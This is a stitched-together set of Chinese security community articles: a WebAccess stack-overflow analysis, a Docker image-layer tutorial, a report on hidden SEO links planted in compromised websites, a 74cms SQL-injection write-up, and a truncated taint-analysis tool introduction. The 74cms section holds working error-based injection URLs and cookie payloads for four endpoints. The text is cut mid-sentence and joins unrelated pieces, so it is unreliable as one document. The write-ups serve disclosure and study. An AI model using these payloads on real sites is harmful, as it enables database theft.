WebAccess
Node软件包含了一系列小组件程序，bwscrp.exe是其中一个。bwscrp.exe程序入口函数接收两个命令行参数（如图16），随后使用命令行参数lpCmdLine作为函数参数之一调用了函数sub_4061F0。在函数sub_4061F0中，Source即为lpCmdLine，后续执行直接使用strcpy将Source拷贝到栈参数Dest，而没有检查Source的数据长度。由于变量Dest距离栈顶只有400字节，当Source长度超过404字节时，
strcpy函数调用将覆盖栈上的函数返回地址，是一个典型的栈溢出漏洞。
图16 bwscrp.exe WinMain函数伪代码
图17 bwscrp sub_4061F0函数伪代码
此外，CVE-2019-6550 (ZDI-19-585 ZDI-19-330 ZDI-19-329 ZDI-19-328 ZDI-19-327
ZDI-19-325
ZDI-19-323)漏洞原理同CVE-2019-10991也极为类似。CVE-2019-6550(ZDI-19-330)栈溢出漏洞存在于upandpr.exe。该程序主函数中的scanf调用将用户提供的数据拷贝到栈内存，在拷贝之前未对用户提供的数据长度进行验证，如图18所示。
图18 upandpr.exe WinMain函数伪代码
CVE-2019-10991在最新版本的Advantech WebAccess
Node中得到修复，补丁方式大致相同。以图19所示的ZDI-19-594为例(左部分为补丁前代码，右部分为补丁后代码)，修复方式为在strcpy调用之前加入数据长度检查。
图19 bwscrp.exe 补丁前后反编译伪代码
CVE-2019-6550在最新版本的Advantech WebAccess
Node中也得到修复，补丁方式大致相同。以图20所示的ZDI-19-330为例(上部分为补丁前代码，下部分为补丁后代码)，修复方式为在sscanf的格式化输出符设置了最大字符长度来防止sscanf函数栈溢出的产生。
图20 upandpr.exe 补丁前后反编译伪代码
### Advantech WebAccess Node 漏洞挖掘
在分析ZDI披露的漏洞过程中，我们对Advantech WebAccess进行了初步审计，额外发现了三个漏洞，可导致任意文件删除和远程命令执行。
#### 1、CNVD-2019-23511任意文件删除漏洞（中危）
WebAccess
Node软件会在系统中注册一个动态模块，分析该模块发现其包含一个文件删除函数，但没有对传入参数的进行安全检查过滤，导致存在任意文件删除漏洞。
#### 2、CNVD-2019-23512命令执行漏洞（高危）
WebAccess
Node软件会在系统中注册另一个动态模块，分析该模块发现其包含一个外部程序调用功能，但没有对传入的调用参数进行检查，导致存在任意命令执行漏洞。
#### 3、CNVD-2019-23513命令执行漏洞（高危）
在分析ZDI披露的漏洞过程中，我们对Advantech WebAccess进行了初步审计，额外发现了三个漏洞，可导致任意文件删除和远程命令执行。
### 结 语
通过对这一系列漏洞的分析可以发现，Advantech WebAccess
软件在实现过程中缺乏对程序输入的安全检查代码，对重要操作的认证不足，因此才爆出如此多的漏洞。不同于常规信息化系统，工业控制系统对稳定性的要求极高，工控软件漏洞被利用可能造成严重的后果。希望WebAccess相关用户单位持续关注其漏洞公告，及时安装补丁以修复相关漏洞。
**参考链接：**
1.<https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=webaccess>
2.<https://www.zerodayinitiative.com/advisories/ZDI-18-024/>
3.<https://www.exploit-db.com/exploits/44278>
4.<https://www.zerodayinitiative.com/advisories/ZDI-19-616/>
5.<https://www.zerodayinitiative.com/advisories/ZDI-19-594/>
* * * | 社区文章 |
## 环境准备
* 安装Docker
curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun
* 安装DIVE
wget https://github.com/wagoodman/dive/releases/download/v0.9.2/dive_0.9.2_linux_amd64.deb
sudo apt install ./dive_0.9.2_linux_amd64.deb
## 镜像分析
选择要分析的镜像为ubuntu的官方镜像，首先导出镜像，保存为`ubuntu.tar`
sudo docker pull ubuntu
sudo docker save -o ubuntu.tar ubuntu
为了方便分析，这里将`ubuntu.tar`在windows上面解压，可以发现ubuntu镜像一共包含三个文件和一个文件夹。
首先查看`manifest.json`的内容,可以看出该文件一共包含了三个字段，`Config`、`RepoTages`和`Layers`。
* `Config` 的值为镜像配置文件的`json`文件，对应`825d55fb6340083b06e69e02e823a02918f3ffb575ed2a87026d4645a7fd9e1b.json`；
* `RepoTages` 为镜像的名称和标签；
* `Layers` 包含了镜像的有哪些层，每一个元素代表一个层目录，由此可见ubuntu只含有一个层，对应`8f7ee37aa1d53dcded9b5c22b0a57d8bb8d35d9f42273651668e7aca23bd7581/layer.tar`。
[
{
"Config": "825d55fb6340083b06e69e02e823a02918f3ffb575ed2a87026d4645a7fd9e1b.json",
"RepoTags": [
"ubuntu:latest"
],
"Layers": [
"8f7ee37aa1d53dcded9b5c22b0a57d8bb8d35d9f42273651668e7aca23bd7581/layer.tar"
]
}
]
接着查看`825d55fb6340083b06e69e02e823a02918f3ffb575ed2a87026d4645a7fd9e1b.json`的内容，该文件记录了镜像的关键信息，该[链接](https://github.com/moby/moby/blob/master/image/spec/v1.2.md)简述了每一个字段的意义，如`config`包含了镜像生成容器时基础的执行参数，`Cmd`为容器入口点的默认参数
等。
我们主要关注的是 `history` 列表，它列出了镜像中的每一层，Docker 镜像由这些层堆叠而成。Dockerfile
中几乎每条命令都会变成一个层，描述该命令对镜像所做的更改。在ubuntu镜像中，可以看到history列表实际上有两层，
但是其中一层的`empty_layer` 标记为 `true`，这代表着本次操作不改变文件系统镜像，不额外生成新的层，所以ubuntu镜像实际上只有一层。
{
"architecture": "amd64",
"config": {
"Hostname": "",
"Domainname": "",
"User": "",
"AttachStdin": false,
"AttachStdout": false,
"AttachStderr": false,
"Tty": false,
"OpenStdin": false,
"StdinOnce": false,
"Env": [
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
],
"Cmd": [
"bash"
],
"Image": "sha256:ccb5a0910a0c4d62d88fd6aec23d035803c808719cc5ce148878f352b1a2a540",
"Volumes": null,
"WorkingDir": "",
"Entrypoint": null,
"OnBuild": null,
"Labels": null
},
"container": "3f151de249ccf525ce2ef3806956fd20f3d4c46ab831529056dde22d50146d4b",
"container_config": {
"Hostname": "3f151de249cc",
"Domainname": "",
"User": "",
"AttachStdin": false,
"AttachStdout": false,
"AttachStderr": false,
"Tty": false,
"OpenStdin": false,
"StdinOnce": false,
"Env": [
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
],
"Cmd": [
"/bin/sh",
"-c",
"#(nop) ",
"CMD [\"bash\"]"
],
"Image": "sha256:ccb5a0910a0c4d62d88fd6aec23d035803c808719cc5ce148878f352b1a2a540",
"Volumes": null,
"WorkingDir": "",
"Entrypoint": null,
"OnBuild": null,
"Labels": {}
},
"created": "2022-04-05T22:20:51.04675426Z",
"docker_version": "20.10.12",
"history": [
{
"created": "2022-04-05T22:20:50.696744314Z",
"created_by": "/bin/sh -c #(nop) ADD file:b83df51ab7caf8a4dc35f730f5a18a59403300c59eecae4cf5779cba0f6fda6e in / "
},
{
"created": "2022-04-05T22:20:51.04675426Z",
"created_by": "/bin/sh -c #(nop) CMD [\"bash\"]",
"empty_layer": true
}
],
"os": "linux",
"rootfs": {
"type": "layers",
"diff_ids": [
"sha256:c5ec52c98b3193052e15d783aca2bef10d8d829fa0d58fedfede511920b8f997"
]
}
}
在docker中使用`docker inspect` 和`docker history` 命令也能查看镜像或容器的相关信息，该信息与上诉是一一对应的。
`docker history ubuntu` 命令对应上诉
`825d55fb6340083b06e69e02e823a02918f3ffb575ed2a87026d4645a7fd9e1b.json`
的`history`字段。
root@ubuntu:/home/null# docker history ubuntu
IMAGE CREATED CREATED BY SIZE COMMENT
825d55fb6340 2 weeks ago /bin/sh -c #(nop) CMD ["bash"] 0B
<missing> 2 weeks ago /bin/sh -c #(nop) ADD file:b83df51ab7caf8a4d… 72.8MB
接下来打开`8f7ee37aa1d53dcded9b5c22b0a57d8bb8d35d9f42273651668e7aca23bd7581`文件夹，该文件夹包含三个文件。
VERSION
json
layer.tar
其中`VERSION`代表ubuntu的版本，值为1.0；`json`文件的很多内容是与上面是重合的。镜像的核心内容在`layer.tar`里，将该文件解压，可以发现该文件夹的内容就是对应linux文件系统。
在ubuntu的镜像中，大部分文件存在于`usr/bin`目录，对应了ubuntu系统的 一些常见的命令，如ls、apt-get等。
使用DIVE能够更好的查看镜像每一层的内容，和各层比上一层做出的改变，下图为dive分析ubuntu的界面。DIVE主要具有以下主要功能：
* 屏幕左上角提供镜像层列表以及与每个镜像层的大小。
* 提供有关镜像的效率（百分比值）、潜在浪费的空间以及镜像的总大小的一般统计信息。
* 对于每个选定的镜像层，右边会显示出该层对应的文件系统视图，其中包含每个文件夹大小的数据。
DIVE使用的一些快捷键：
* **Ctrl+Spacebar** \- 左右面板切换
* **Spacebar** \- 打开/关闭目录树,
* **Ctrl+A** \- 显示/关闭添加的文件,
* **Ctrl+R** \- 显示/关闭移除的文件,
* **Ctrl+M** \- 显示/关闭修改的文件,
* **Ctrl+U** \- 显示/关闭未修改的文件,
* **Ctrl+ L** \- 显示镜像层变动,
* **Ctrl+/** \- 过滤文件,
* **Ctrl+C** \- 退出.
由于ubuntu镜像只有一层，所以看不出层与层之间内容的变化，所以这里启动ubuntu容器，并像容器中写入一些内容来观察在容器中进行操作对于容器镜像的改变。
root@ubuntu:/home/null# docker run -it --name ubuntu_test ubuntu
root@871b5aa0e0c5:/# echo hello > hello.txt
root@871b5aa0e0c5:/# echo world > world.txt
root@871b5aa0e0c5:/# exit
exit
接着将容器打包成镜像并导出，以便进一步分析
docker commit ubuntu_test ubuntu_test
docker save -o ubuntu_test.tar ubuntu_test
将`ubuntu_test.tar`解压，发现相比于原来的`ubuntu.tar`解压后的文件，多了一个文件夹，也就意味着多了一层。
查看`manifest.json`查看变化，发现`Layers`中也已经多了一层`"804da1860ebbda2e61e48e68b0fd1c7f2ddebfcfbc18dbb5c865d2b76d01cc29/layer.tar"`
查看`05feb719705701fda9a39795e16f245df59db1c26261112f88d81131511e6111.json`文件的`history`字段，同样的多出了一层:
`created`表示创建的时间，`created_by`表示创建的命令。
"history": [
{
"created": "2022-04-05T22:20:50.696744314Z",
"created_by": "/bin/sh -c #(nop) ADD file:b83df51ab7caf8a4dc35f730f5a18a59403300c59eecae4cf5779cba0f6fda6e in / "
},
{
"created": "2022-04-05T22:20:51.04675426Z",
"created_by": "/bin/sh -c #(nop) CMD [\"bash\"]",
"empty_layer": true
},
{
"created": "2022-04-22T02:20:20.681237703Z",
"created_by": "bash"
}
],
打开新文件夹，解压`layer.tar`里面的内容便为我们对容器的操作添加更改的内容，一共更改了三处，其中`hello.txt`和`world.txt`是我们手动添加的文件，root文件夹下的`.bash_history`是记录执行过命令。
sudo dive ubuntu_test
tap键可以切换左右视图，上下键进行切换条目，在右边可以很明显的表示第二层相比于第一层改变的地方，黄色表示改变的目录，绿色代表改变的文件，刚好对应新生成文件夹的内容。
## 其他工具
下面分享一些对容器镜像进行分析的网站或工具
1. [contains](https://contains.dev/)，一个支持在线分析容器镜像的网站。
2. [trivy](https://github.com/aquasecurity/trivy)，镜像扫描工具，可以检测镜像、文件系统、git存储库的漏洞以及配置问题
3. [Clair](https://github.com/quay/clair)，静态分析容器镜像中的漏洞
4. [Anchore](https://anchore.com/opensource/)，用于深度分析docker镜像，扫描容器镜像和文件系统中的漏洞。
5. [Dagda](https://github.com/eliasgranderubio/dagda/)，用于对 docker 镜像和容器中的木马、恶意软件、病毒等已知漏洞进行静态分析。
6. [Aqua Security](https://www.aquasec.com/products/container-vulnerability-scanning/)，保护使用容器等云原生技术构建的应用程序。
## 参考链接
Docker 镜像规范 ：
<https://github.com/moby/moby/blob/master/image/spec/v1.2.md>
DIVE：
<https://github.com/wagoodman/dive>
docker 命令文档
<https://docs.docker.com/engine/reference/commandline/image_inspect/>
如何分析和改变镜像的大小
<https://blog.devgenius.io/how-to-analyze-and-improve-the-size-of-your-docker-images-54effa56f488>
Docker安全的开源软件
<https://techbeacon.com/security/10-top-open-source-tools-docker-security>
<https://geekflare.com/container-security-scanners/> | 社区文章 |
# 2018年度 上半年暗链监测分析报告
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1\. 报告概述
安恒数据大脑近期跟踪发现，国内站点暗链情况较为严重，据不完全检测统计发现，国内有超过5万站点已被植入暗链/黑链，其中企业由于体量巨大与安全能力较弱成为了重灾区，而近千起的政府、事业单位网站也沦陷为黑产牟利工具，其中县市区的站点占比在50%以上，是我国重要站点受害严重的群体。
由于暗链的植入是一个通过漏洞利用、后门植入、维护暗链的过程，网站的安全程度与管理员的维护情况直接相关，这些站点的沦陷也是由于安全能力与安全意识不到位引起。
暗链的猖獗很大程度上是由上游黑产暴利行业的推动，本次检测数据发现博彩已成为暗链的最大源头，其次为代孕、色情、私服游戏、开房记录查询这类无法公开宣传推广，需要通过暗链渠道提升搜索排行的黑灰产。
因此暗链不仅仅是单个站点安全问题，更是网络空间中的非法产业的滋生传播，影响网络空间和社会秩序的问题。
综上所述，暗链的治理需要我们进一步行动起来，一方面，网站运营单位需加大对暗链的安全认识程度，在安全加固、暗链清理、后门清查等方面进行全面的检查，加强日常的安全监测与管理；另一方面，行业主管单位与网络安全监管部门，需要进一步提升对网络空间黑灰产的治理，通过暗链的现象的监管与整改，切断其传播渠道与媒介。
## 2\. 暗链成为影响网站安全的头号问题
### 2.1. 我国过万站点被植入暗链
2018年上半年，安恒数据大脑检测分析到全国约13万起暗链事件（以url为计数单位），共涉及约5.6万个网站，其中有95.93%的站点是企业站点，政府机关事业单位网站有1042个，占全部被植入暗链网站总数的1.85%，从被植入暗链网页的顶级域名分布来看，“com”占比最多，占总数的73.46%。
#### 2.2.1 暗链网站的区域分布
从数据大脑收录的数据来看，全国共有56294个网站被植入暗链，如下图所示，31个省、直辖市及自治区中或多或少都存在暗链事件。各省网站暗链总数排名前五名的地区分别为广东（占比12.5%）、江苏（占比10.2%）、北京（占比9.6%）、上海（占比8.0%）、山东（占比7.9%），这五个省份的暗链网站的总数约为所有暗链网站总数的50%。
图2-1 各省网站现存暗链总数
#### 2.2.2 暗链网站的行业分布
根据风暴中心对上述5.6万个被植入暗链网站进行单位/行业归类，共统计影响近14个不同行业/部门，其中企业站点为受攻击的重灾区，占全部被植入暗链网站总数的95.93%，企业站点安全水平能力较低，总体数量多，非常容易受到黑客攻击，植入暗链也难于被察觉，因此可长期有效。
其他非企业站点植入暗链情况分布如下：
图2-2 非企业行业被植入暗链网站行业占比图
### 2.2. 影响我国政府、事业等行业
根据安恒数据大脑分析，统计数据中被植入暗链的政府机关网站有215个，事业单位有827个。通过对我国这两类重要单位的行政等级进行分析，发现有明显的行政级别区分，如下图所示：
图2-3 事业单位被植入暗链网站省市县分布图
图2-4 政府单位被植入暗链网站省市县分布图
通过上图，可以很明显看出基本都是县市区的网站被植入暗链较多，占比过半，主要原因是，县市区的小网站更新频率低，往往几个月不会更新一次，甚至没人维护，而且事业单位或者政府网站通常比较稳定，较少出现没几天就消失不见的情况。
地方县市区的业务系统通常由当地小公司开发和运维，忽视安全问题，导致系统存在大量安全漏洞，容易被植入暗链。
### 2.3. 暗链网站被黑客重复利用，隐患重重
我们通过将暗链地址与威胁情报数据关联分析后，发现大量的暗链地址同时也是C2、钓鱼地址、放马地址、扫描主机、漏洞利用等被恶意利用地址。
图2-5 暗链地址与威胁情报关联结果部分截图
虽然暗链对网站本身没有什么实质性威胁，但是暗链的存在往往标志着该网站存在安全漏洞，所以带有暗链的网站往往更容易被反复入侵，重复利用。
## 3\. 暗链的隐蔽性日趋多样化
### 3.1. 传统暗链形式较为单一
传统的暗链形式非常单一，暗链的实现原理很简单，如采用CSS样式设置以达到暗链不可见的目的，把黑链的display元素设置为none、把黑链的标签显示颜色调为和网页页面颜色一致、把黑链浮动或者定位在网页不可浏览到的位置等。
传统的黑客实施暗链的手法大同小异，此时暗链的“暗”在于它是隐藏在网页源代码中的，通过肉眼直接在页面上看不见的，但只要打开源码就可以看到链接内容。
### 3.2. 新型暗链植入与推广方式多样化
随着暗链的发展，搜索引擎也开始对传统暗链方法进行识别和打击，为了不被搜索引擎识别，各种花样植入方式也纷纷兴起：
1、搜索引擎识别：黑客通过在页面中加入搜索引擎判断，使得一般用户无法发现暗链。脚本能够识别是搜索引擎来访问网站还是用户来访问网站，当搜索引擎来访问网站的时候，就会跳转到暗链页面，当用户访问的时候又会跳转到另外一个页面。
图3-1 正常用户访问返回界面
图3-2 搜索引擎访问返回界面
2、对植入的暗链内容进行编码，这类不多见，可以让站长看源码时也不一定能快速发现；
图3-3 暗链页面
3、暗链内容随机呈现，可同时推广更多的暗链，也可不被快速察觉。
图3-3 随机暗链页面
其他的如寄生虫模板批量植入、关键词堆砌、桥页等形式，不难发现暗链的植入与推广方式也正在推陈出新，为了暗链能够长期潜伏与提高排名，不断地与站长，与搜索引擎进行“斗智斗勇”。
## 4\. 暗链黑色产业发展成熟
### 4.1. 暗链产业多环节分工合作
暗链产业链有很多环节，或者说分上中下游，其中的每一个环节都有其利润所在，每个环节都有不同的分工和不同的利益分配。
“黑链产业链”里的上游可能是一些非法网站的拥有者，这些网站有很强的勾引性，出售的服务或者产品都是正常市场不被许可的，大多都是非法的或者禁止销售的产品，例如博彩色情等。
位于产业链中游是销赃平台，其中的“销售”人员，在网上做广告招揽“客户”。下图为某个网上黑链套餐标价：
图4-1某个网上黑链套餐标价
产业链的下游主要是执行产业部门，利用网站后门、网站权限等植入暗链，并对其进行维护；
图4-2 暗链黑产链上中下游分布
在这条产业链中，分工明确：有专人负责攻击各类型网站，有人负责收购各类网站的权限，有人负责每天检查暗链是否被删除，有人负责联系客户，有客户购买服务，甚至有人负责编写自动化挂暗链的程序并出售。主要工作流程如下：
1. 寻找网站漏洞，破解密码，侵入网站并植入“后门”或花钱购买黑客工具和网站“权限”并控制；
2. 网上做广告招揽“客户”；
3. 收取客户费用，登录网站“后门”，向被控制网站添加“黑链”代码并维护；
4. 搜索灰色关键词，“客户”的排名靠前。
### 4.2. 非法暴利行业推动黑链产业发展
本次统计了植入暗链的内容，从被植入的暗链关键字词云可以看出，暗链指向的网站绝大多数是博彩、色情、游戏私服、代孕、虚假医疗甚至开房记录查询等灰色暴利产业，这些产业不太可能以正式方式获得流量。首先，搜索引擎会降级这些网站；其次，广告网络不敢接受这种广告的放置。因此，许多网站将通过暗链方式以获得地下流量。这些黑灰产业背后就蕴藏着巨大的经济利益，推动了暗链产业链的形成和发展，而暗链又称为了黑色产业传播的重要媒介。
图4-3 被植入的暗链关键字统计词云
下图为某网站被植入博彩暗链详情：
图4-4 被植入的博彩暗链网站示例
2017年曾报道合肥非法控制计算机信息系统案，3人黑客团伙控制四百网站挂灰色广告业务“黑链”，仅仅3个月牟利10万元。这仅是小团体犯案，成型的黑链产业获利更是无法估量。
### 4.3. 不同暗链黑产组织间存在利益冲突
挂暗链所使用的网站来源有两种：一种是黑客自己动手，攻击网站挂暗链；还有一种是收购其他黑客的权限。有时一个网站同时被多路黑客盯上，在页面中可以看到多组暗链链接，甚至代码中存在“删我链接，我删整站”、“各挂各的，和平共赢”等字样，警告其他黑客不要删除自己的链接，由此可以看出不同“暗链”集团间也存在利益冲突。如下图所示：
图4-5 黑产暗链之间的竞争
### 4.4. 网站用户的忽视或默许纵容发展
如今，网站暗链事件虽然比比皆是，但对于大部分网站来说，暗链和普通超链接没有太大的不同，只是这些超链接在网页页面上是“不可见”的，且暗链并没有对用户构成实质性的威胁，安全软件自然也不会对暗链进行检测，更不会对暗链作出拦截或提示，所以，部分网站负责人会忽视暗链的存在，甚至形成暗链与网站“长期共存”的现状。
## 5\. 加强对暗链的清理与彻底整治
### 5.1. 需要充分意识暗链存在巨大的潜在威胁
从本次分析的网站情况来看，暗链网站不但是已经被黑客入侵，页面被植入非法链接，也会由于网站的安全问题引发被黑客重复入侵，甚至被用于挂马、C2通信等，成为黑产牟利工具，占用计算资源与网络带宽，影响网站业务开展。
### 5.2. 暗链清理需要彻底整治
部分的安全运维人员在发现暗链后，直接一删了事，但是大部分网站已被植入后门，如未清理，则会被反复挂链利用。正确的方式是进行全盘检查，找到最新的可疑文件，或者采用终端安全检测工具，查找后门文件进行删除清理。最后还需要对网站的漏洞进行整改修复，进行安全防护，防止被再次入侵。
### 5.3. 暗链的安全监管需进一步提升
对于行业主管单位或者网络安全监管部门，建议加强对暗链的检测与监管，像整治可见的安全事件如网页篡改的力度一样，从上至下加强安全重视与整改，才能扭转目前国内暗链肆意横行的现状，切断黑灰产的传播推广渠道，清朗网络空间。 | 社区文章 |
### 0x00 前言
厂商：74cms
下载地址：<http://www.74cms.com/download/index.html>
关于版本：
新版的74cms采用了tp3.2.3重构了，所以可知底层是tp，74cms新版升级是后台升级的，所以先将将升级方法。
注：此漏洞不用升级至最新版本也可使用。
### 0x01 74cms升级到最新版
1， 先去官网下载 骑士人才系统基础版(安装包)
2， 将下载好的包进行安装
3， 进入后台点击查看如果不是最新版的话，请点击升级！
5， 如果是本地环境的话，会提示 域名不合法升级失败，这个问题很好解决
6， 搜索文件74cms\upload\Application\Admin\Controller\ApplyController.class.php
7， 查找所有$_SERVER['HTTP_HOST'] 改为 <http://baidu.com> 即可
### 0x02 概要
这个注入也是挺有趣的，如果不是我有比对源码的习惯的话，可能还找不到这个74cms独有的框架sql注入漏洞 : )
这里我并不会脱离74cms重新讲一次相关的框架内容，所以读者最好，看看我之前的文章。
ThinkPHP3.2.3框架实现安全数据库操作分析
<https://xz.aliyun.com/t/79>
先看完上面的文章，然后在看此文章，会更简单的了解清楚。
### 0x03 漏洞讲解
非常抱歉，让读者看到前面 3节 不是很有营养的东西。
在前面最开始的时候，我说过我有对比源码，使用手册的情况。
所以这里我们继续在开始之前，我要使用在74cms这个代码里面写个例子，希望可以让你们看懂，因为文化水平不高=-=，写文章感觉和很多前辈差距挺大的。
为了能够更直观，这里开启调试
文件：74cms\upload\Application\Common\Conf\config.php
添加多一行
'SHOW_PAGE_TRACE' => true,
然后打开文件：74cms\upload\Application\Home\Controller\IndexController.class.php
添加代码：
$uid = I('GET.uid');
M('CompanyProfile')->field('companyname,logo')->where(array('uid'=>$uid))->find();
我感觉到这里可能有人要骂我了。
应该有人会： 你个瓜皮，你家审计可以自己加代码的？
是的是的，的却不能加。我这样也是想让更多的人能够简单的看懂这个漏洞
那么我们通过这个也能知道一般这种情况，是没得注入的了，而且应为使用了系统函数 I 所以也是没有框架注入这一说。
这里又要重新重复讲解I函数的作用了
在我的眼中I函数就是一个为了解决框架底层设计问题的函数
神奇的I函数
路径:ThinkPHP\Common\functions.php
方法名：function I($name,$default='',$filter=null,$datas=null)
这个函数的主要功能为3个
1， 确定数据类型
2， 对数据进行循环取值
3， 调用think_filter 函数进行过滤
think_filter函数分析
例如：
没有使用think_filter 函数时
goods_name[0]=in&goods_name[1]=(true) and (updatexml(1,concat(1,(select user())),1))--&goods_name[2]=exp
使用了think_filter函数时
goods_name[0]=in &goods_name[1]=(true) and (updatexml(1,concat(1,(select user())),1))--&goods_name[2]=exp
注意：使用了think_filter函数时 in后面是有空格的也就是说返回值是
goods_name[0]=in(空格)&goods_name[1]=(true) and (updatexml(1,concat(1,(select user())),1))--&goods_name[2]=exp
而正是这个空格的问题，就可以修复掉可能发生的框架注入问题。
接着我们直接打开文件：74cms\upload\ThinkPHP\Library\Think\Db\Driver.class.php
think_filter函数与上图两者对比一下，是否发现多点了东西？
是的没错了。
74cms 修改了tp底层添加了
3个新方法：
match
match_mode
match_with
也就是说这3个方法我们是可以绕过 I 函数的过滤的
接着查看：parseWhereItem( 方法
使用的是直接字符串拼接的方式入库，故判断此漏洞可利用.
注意了上图我们可控制的点是 $str 而 $str 给双引号包含！！！！！！！
最开始的时候，记得我说过么，系统默认I 会过滤 “双引号” 而导致此注入不可用，那么就需要找一处不经过I函数或是说不过滤双引号的地方来构造漏洞。
这里我们重新修改一下例子：
打开文件： 74cms\upload\Application\Home\Controller\IndexController.class.php
输入url:
[http://74cms.test/index.php?m=Home&c=index&a=index&uid[0]=match&uid[1][0]=aaaaaaa](http://74cms.test/index.php?m=Home&c=index&a=index&uid\[0\]=match&uid\[1\]\[0\]=aaaaaaa)")
and updatexml(1,concat(0x7e,(select user())),0) – a
这样的话，这个注入就是可用的了。理解了这个以后，我们也算是挖到了74cms独有的框架漏洞。
接下来整理一下会发生注入的情况
M()->where($test)->xx
那么只要 where中任意参数可控，并不会过滤 双引号即可！
然后就没什么技术含量了使用ide进行搜索测试即可确定漏洞，经过一顿搜索以后
前端发现一共有四处，也就是说这个框架漏洞，可以利用的地方只有四处。
后端注入，除了挖src，不然我都认为他是没有什么用。所以后端能不能利用我也不知道。我没去看 : )
### 0x05 74cms独有框架漏洞第一处
文件：74cms\upload\Application\Home\Controller\AjaxPersonalController.class.php
方法：function company_focus($company_id)
是否需登录：需要
登录权限：普通用户即可
为了方便，我是直接后台注册账户的，因为本人穷，付不起短信费。
登录后台
注册完成以后登录前台即可
如果不登录的话，会显示这个样子
url:[http://74cms.test/index.php?m=&c=AjaxPersonal&a=company_focus](http://74cms.test/index.php?m=&c=AjaxPersonal&a=company_focus)
[http://74cms.test/index.php?m=&c=AjaxPersonal&a=company_focus&company_id[0]=match&company_id[1][0]=aaaaaaa%22](http://74cms.test/index.php?m=&c=AjaxPersonal&a=company_focus&company_id\[0\]=match&company_id\[1\]\[0\]=aaaaaaa%22))
and updatexml(1,concat(0x7e,(select user())),0) -- a
看源码
打开文件：
74cms\upload\Application\Common\Model\PersonalFocusCompanyModel.class.php
方法：add_focus(
### 0x06 74cms独有框架漏洞第二处
文件：74cms\upload\Application\Home\Controller\CompanyServiceController.class.php
方法：order_pay_finish(
是否需登录：需要
登录权限：企业用户即可
看源码
为了方便，我是直接后台注册账户的，因为本人穷，付不起短信费。
注册完成以后登录前台即可
url:
[http://74cms.test/index.php?m=&c=CompanyService&a=order_pay_finish&order_id[0]=match&order_id[1][0]=aaaaaaa%22](http://74cms.test/index.php?m=&c=CompanyService&a=order_pay_finish&order_id\[0\]=match&order_id\[1\]\[0\]=aaaaaaa%22))
and updatexml(1,concat(0x7e,(select user())),0) – a
### 0x07 74cms独有框架漏洞第三处
文件：74cms\upload\Application\Home\Controller\MembersController.class.php
方法：register(
是否需登录：不需要
url: http://74cms.test/index.php?m=&c=Members&a=register
post:
reg_type=2&utype=2&ucenter=bind&unbind_mobile=1
cookie:
members_uc_info[reg_type]=1;members_uc_info[utype]=2;members_uc_info[mobile][0]=match;members_uc_info[mobile][1][0]=aaaaaaa%22) and updatexml(1,concat(0x7e,(select user())),0) -- a;
headers:
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
这里我要大概讲一下参数的问题
post:
reg_type=2 // 必须为2 为了绕过一个注册判断，为1的话，会直接创建帐户，导致无法利用漏洞
utype=2 // 判断会员类型的也必须为2 为1会直接创建一条数据，导致无法利用漏洞
ucenter=bind // 必须为bind因为要靠他，获取cookie(members_uc_info)并且合并为$data数组进行利用
unbind_mobile=1 // 只要有此字段即可，只是单纯为了满足流程判断的
cookie:
members_uc_info[reg_type]=1; // 必须为1 满足流程需要
members_uc_info[utype]=2; // 必须为2 满足流程需要
members_uc_info[mobile][0]=match; // 框架漏洞利用
members_uc_info[mobile][1][0]=aaaaaaa%22) and updatexml(1,concat(0x7e,(select user())),0) -- a; // 这里输入注入语句
headers: // 伪造ajax操作
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
### 0x07 74cms独有框架漏洞第四处
文件：74cms\upload\Application\Home\Controller\MembersController.class.php
方法：oauth_reg (
是否需登录：需要
登录权限：普通用户/企业用户都可
url: http://74cms.test/index.php?m=&c=Members&a=oauth_reg
post:
username = 自己去平台随便注册个账号然后输入那个账号
password = 自己去平台随便注册个账号然后输入那个密码
cookie:
members_bind_info[type][0]=match;
members_bind_info[type][1][0]=aaaaaaa%22) and updatexml(1,concat(0x7e,(select user())),0) -- a;
看源码: | 社区文章 |
wJa，支持反编译java生成的jar包文件，整理成语法树，根据调用链进行污点分析，通过cheetah脚本语言编写测试脚本，确定可能存在的漏洞调用链，生成测试链接，进行fuzzer测试。
下面对网络上的一个Spring靶场进行SQL注入的分析测试。
## 环境准备
1. 测试靶场
2. java运行环境
3. wJa
## wJa分析流程
## Step1 运行靶场
搭建好靶场环境，这里使用的靶场是在网上寻找到的，里面有创建数据库的脚本文件，环境一切准备就绪之后。
运行靶场，使用命令跑起jar包：
`java -jars shootingRange.jar`
## Step2 使用wJa打开jar文件
使用命令：`java -jar wJa.jar`运行起程序，程序运行之后会要求选择待分析的jar程序，这里选择shootingRange.jar。
起来之后可以看到程序的主界面了。
**左侧部分：**
Decompile：对jar包反编译的java资源管理器
cheetahLanguage：脚本管理器，包含支持库介绍，以及编写好的cheetah脚本
**中间部分：**
Decompile：对jar包反编译的java代码显示部分
cheetahLanguage：编写cheetah脚本代码，运行测试
* * *
界面相对比较简单。
我们可以先看整个靶场的一个框架结构，从control层进行分析（Spring默认路径为`BOOT-INF/classes`）。
可以看到control层都是提供对外开放的接口，所以我们可以确定这是入口类，所以我们可以将其确定为入口点。
从其中的一个入口点(one)根据一步步的调用追踪，我们可以得到如下调用链：
indexLogic.getStudent(username);
indexDb.getStudent(username);
sql = "select * from students where username like '%" + username + "%'";
jdbcTemplate.query(sql, ROW_MAPPER);
最终进入的危险函数：
当然，这是我们手动跟踪的，但是如何使用工具自动帮助我们进行追踪呢？
## Step3 编写白盒污点跟踪代码
### 污点分析
> 污点分析可以抽象成一个三元组〈 _sources_ , _sinks_ , _sanitizers_ 〉的形式, 其中, _source_ 即污点源,
> 代表直接引入不受信任的数据或者机密数据到系统中; _sink_ 即污点汇聚点, 代表直接产生安全敏感操作 (违反数据完整性) 或者泄露隐私数据到外界
> (违反数据保密性); _sanitizer_ 即无害处理,
> 代表通过数据加密或者移除危害操作等手段使数据传播不再对软件系统的信息安全产生危害.污点分析就是分析程序中由污点源引入的数据是否能够不经无害处理,
